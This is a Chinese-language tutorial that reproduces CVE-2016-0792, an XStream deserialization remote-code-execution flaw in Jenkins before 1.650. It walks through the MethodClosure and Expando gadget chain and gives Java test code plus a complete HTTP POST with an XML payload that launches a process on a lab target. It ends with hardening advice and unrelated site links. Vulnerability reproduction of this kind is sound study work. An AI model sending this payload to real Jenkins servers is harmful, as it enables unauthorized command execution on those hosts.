如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现
如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现
今天就跟大家聊聊有关如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
XStream组件功能
XStream可以轻易的将Java对象和xml文档相互转换,而且可以修改某个特定的属性和节点名称,而且也支持json的转换。
它具有以下特点:
使用方便 - XStream的API提供了一个高层次外观,以简化常用的用例。
无需创建映射 - XStream的API提供了默认的映射大部分对象序列化。
性能 - XStream快速和低内存占用,适合于大对象图或系统。
干净的XML - XStream创建一个干净和紧凑XML结果,这很容易阅读。
不需要修改对象 - XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类。默认构造函- - 数不是强制性的要求。
完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用,并支持循环引用。
可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册。
安全框架 - XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题。
错误消息 - 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题。
另一种输出格式 - XStream支持其它的输出格式,如JSON。
值得注意的是:它转换对象时,不需要对象继承Serializable接口。 这极大的方便了反序列化攻击。
XStream简单序列化代码如下:
@TestpublicvoidtestWriter(){Personperson=newPerson();//Setthepropertiesusingthesettermethods//Note:Thiscanalsobedonewithaconstructor.//SincewewanttoshowthatXStreamcanserialize//evenwithoutaconstructor,thisapproachisused.person.setName("Jack");person.setAge(18);person.setAddress("whu");//SerializetheobjectXStreamxs=newXStream();//Writetoafileinthefilesystemtry{Stringfilename="./person.txt";FileOutputStreamfs=newFileOutputStream(filename);xs.toXML(person,fs);}catch(FileNotFoundExceptione1){e1.printStackTrace();}}
可以看到,XStream可以很方便地java对象转换为xml文件,生成文件如下:
<model.Person><name>Tide</name><age>18</age><address>whu</address></model.Person>
也可方便的将xml文件反序列化为java对象:
@TestpublicvoidtestReader(){XStreamxs=newXStream(newDomDriver());Personperson=newPerson();try{Stringfilename="./person.txt";Filefile=newFile(filename);FileInputStreamfis=newFileInputStream(filename);//System.out.println(filename);System.out.println(FileUtils.readFileToString(file));xs.fromXML(fis,person);//printthedatafromtheobjectthathasbeenreadSystem.out.println(person.toString());}catch(FileNotFoundExceptionex){ex.printStackTrace();}catch(IOExceptione){//TODOAuto-generatedcatchblocke.printStackTrace();}}
发现Sink
对于一个漏洞利用,必然有一个敏感的Sink。它可以类或者函数等,它的作用是执行命令或者读写文件等敏感操作。可以被攻击者所利用,去做一些事情。这个漏洞的Sink就是一个MethodClosure闭包类:
/***Representsamethodonanobjectusingaclosurewhichcanbeinvoked*atanytime**/publicclassMethodClosureextendsClosure{privateStringmethod;publicMethodClosure(Objectowner,Stringmethod){//构造函数,传入对象和方法名。super(owner);this.method=method;finalClassclazz=owner.getClass()==Class.class?(Class)owner:owner.getClass();maximumNumberOfParameters=0;parameterTypes=newClass[0];List<MetaMethod>methods=InvokerHelper.getMetaClass(clazz).respondsTo(owner,method);for(MetaMethodm:methods){if(m.getParameterTypes().length>maximumNumberOfParameters){Class[]pt=m.getNativeParameterTypes();maximumNumberOfParameters=pt.length;parameterTypes=pt;}}}publicStringgetMethod(){returnmethod;}protectedObjectdoCall(Objectarguments){returnInvokerHelper.invokeMethod(getOwner(),method,arguments);//调用任意对象(owner)的任意方法(method)。}publicObjectgetProperty(Stringproperty){if("method".equals(property)){returngetMethod();}elsereturnsuper.getProperty(property);}}
根据类的描述可知道是可以使用其调用对象的方法,并且继承了Closure类。而其doCall方法,它直接使用反射机制调用了我们的任意对象方法。并且对象和方法名是可以通过构造函数传入的。继续看父类(Closure):
publicVcall(){finalObject[]NOARGS=EMPTY_OBJECT_ARRAY;returncall(NOARGS);}@SuppressWarnings("unchecked")publicVcall(Object...args){try{return(V)getMetaClass().invokeMethod(this,"doCall",args);}catch(InvokerInvocationExceptione){ExceptionUtils.sneakyThrow(e.getCause());returnnull;//unreachablestatement}catch(Exceptione){return(V)throwRuntimeException(e);}}
调用父类(Closure)的call方法即可自动调用子类的doCall方法。于是,如下代码即可执行弹出计算器:
MethodClosuremethodClosure=newMethodClosure(newjava.lang.ProcessBuilder("calc"),"start");methodClosure.call();
说明:无法控制方法的参数(args),只能通过调用call(参数)来实现,因此利用的局限性比较大。只能找寻一个对象具有无参方法,来进行利用。
自动触发
在Expando类中,发现了Closure.call方法的调用。而且是在hashCode方法中:
/***ThisallowshashCodetobeoverriddenbyaclosure<i>field</i>methodattached*totheexpandoobject.**@seejava.lang.Object#hashCode()*/publicinthashCode(){Objectmethod=getProperties().get("hashCode");if(method!=null&&methodinstanceofClosure){//invokeoverriddenhashCodeclosuremethodClosureclosure=(Closure)method;closure.setDelegate(this);Integerret=(Integer)closure.call();//调用危险方法returnret.intValue();}else{returnsuper.hashCode();}}
常用的HashMap类中,存在调用hashCode方法:
publicVput(Kkey,Vvalue){if(key==null)returnputForNullKey(value);inthash=hash(key.hashCode());//调用key的hashCode方法inti=indexFor(hash,table.length);for(Entry<K,V>e=table[i];e!=null;e=e.next){Objectk;if(e.hash==hash&&((k=e.key)==key||key.equals(k))){VoldValue=e.value;e.value=value;e.recordAccess(this);returnoldValue;}}modCount++;addEntry(hash,key,value,i);returnnull;}
以下为测试自动触发的payload:
@TestpublicvoidtestExploit(){Mapmap=newHashMap<Expando,Integer>();Expandoexpando=newExpando();MethodClosuremethodClosure=newMethodClosure(newjava.lang.ProcessBuilder("calc"),"start");//methodClosure.call();expando.setProperty("hashCode",methodClosure);map.put(expando,123);}
CVE-2016-0792漏洞复现
使用了XStream库的应用有很多,Jenkins是其中一个。接下来以CVE-2016-0792为例进行漏洞复现。
首先需要安装jenkins,这里使用的是1.642.1版本,其他版本可以自行下载
(http://archives.jenkins-ci.org/war-stable/1.642.1/jenkins.war)
在命令行内安装下载好的war包。这里需要在本地配置java环境。
java -jar C:\Users\Administrator\Desktop\jenkins.war
完成后访问http://ip:8080。可以打开即为安装成功。
点击“新建”,将Burp抓到的GET包转为POST包
在攻击机内使用burp构造以下数据包
POST/createItem?name=fooHTTP/1.1Accept:text/html,application/xhtml+xml,*/*Referer:http://192.168.92.150:8080/Accept-Language:zh-CNUser-Agent:Mozilla/5.0(WindowsNT6.1;WOW64;Trident/7.0;rv:11.0)likeGeckoAccept-Encoding:gzip,deflateHost:192.168.92.150:8080Cookie:JSESSIONID.45f4c58a=15p7yy31dzajd1dtooqm83m4ow;screenResolution=1718x926Connection:keep-aliveContent-Type:text/xmlContent-Length:895<map><entry><groovy.util.Expando><expandoProperties><entry><string>hashCode</string><org.codehaus.groovy.runtime.MethodClosure><delegateclass="java.lang.ProcessBuilder"><command><string>calc</string></command><redirectErrorStream>false</redirectErrorStream></delegate><ownerclass="java.lang.ProcessBuilder"reference="../delegate"/><resolveStrategy>0</resolveStrategy><directive>0</directive><parameterTypes/><maximumNumberOfParameters>0</maximumNumberOfParameters><method>start</method></org.codehaus.groovy.runtime.MethodClosure></entry></expandoProperties></groovy.util.Expando><int>123</int></entry></map>
可以看到靶机内弹出计算器程序
利用条件
1. 权限限制条件:
无论匿名用户,还是登陆用户,权限必须具有“Overall的read权限和Job的create权限”两个权限(当然具有其他权限越多越好,若拥有administrater权限,其他任何权限都不是必须条件了,因为administrater为最高权限,故这里不考虑administrater)。因为该个漏洞是利用的createitem创建job的功能去调用api,所以create是必须的,而Jenkins最基本的权限是overall的read权限,用户必须赋予阅读的权限,不然什么都看不到。
2. 版本限制条件:
jenkins版本小于 1.650 (1.650版本已修复该问题)
3. post数据内容类型:
构造一个恶意的 XML 文档发送至服务端接口时,内容类型需注意为xml。
安全加固
更新 Jenkins 至最新版本 1.650以上。
jenkins做访问控制,收入内网不开放往外网。
禁止jenkins的匿名访问权限。
保证每个jenkins账号不为弱口令。
看完上述内容,你们对如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注恰卡编程网行业资讯频道,感谢大家的支持。
推荐阅读
-
洗衣机不脱水了是怎么回事(洗衣机不甩干的处理方法)
洗衣机作为大家日常生活必备的家用电器,其利用率频繁,难免会因为机械磨损、缺乏润滑油、机件老化、弹簧疲劳变形等原因,出现各种不正...
-
电子表格零基础自学教程(小白也能学明白)
可能很多人(包括我)觉得Excel不就是做个表吗,没什么好学的。然而很多大型企业在面试的时候还是会问,“会Excel吗?”“会...
-
笔记本电脑报价大全(联想笔记本多少钱)
(注意:建议在旗舰店、官方旗舰店、官网购买) 一、游戏本设计本、办公本推荐如下: 华为品牌:(全球第一大电信设备商) 1...
-
煲机软件哪个好(让耳机有个思想准备)
《无间道》中陈永仁与刘建明有过一句经典对白&mdash;&mdash;“高音甜、中音准、低音沉,总之一个词通透”。这一句话也一...
-
viewsonic平板电脑(viewsonic平板电脑刷机)
ViewSonic是一个视讯品牌,中文名字:优派。 ViewSonic 一、读音:英[vju:][?s?n?k],美[vj...
-
采访麦克风户外哪款好(讯飞智能无线麦克风C1采访神器)
对于视频创作者、直播工作者、远程培训老师、记者等媒体工作者来说,工作过程中,最让人费心的莫过于如何确保收音纯正、字幕快速生成、...
-
电脑硬件配置怎么查(详述两招快速查看电脑配置参数信息)
大家好,今天跟大家分享两个快速查看电脑配置参数信息的办法。 操作步骤如下: 1右击电脑屏幕最下方任务栏左侧的电脑徽标按钮,...
-
数据线没坏但充不上电怎么办(数据线充不上电处理方法)
苹果充电器突然充不上电是比较尴尬的问题,首先看自己的充电器数据线是不是原装,如果非原装在第一次充电时,苹果手机会提示你是否要适...
-
电脑开机出现黑屏如何处理(电脑不能开机黑屏解决方法)
电脑不能开机或者开机以后黑屏怎么解决?这里收集了所有常见的维修方法,看完秒变维修高手,实在是一篇不能错过的电脑维修教程。简单易...
-
手机宝典怎么搞(小米手机性能优化宝典)
别再总是抱怨手机卡顿,系统臃肿,反应慢,现在看完这篇文章,你会发现你并不了解小米手机,当然,文中许多方法并不是仅仅适用于小米手...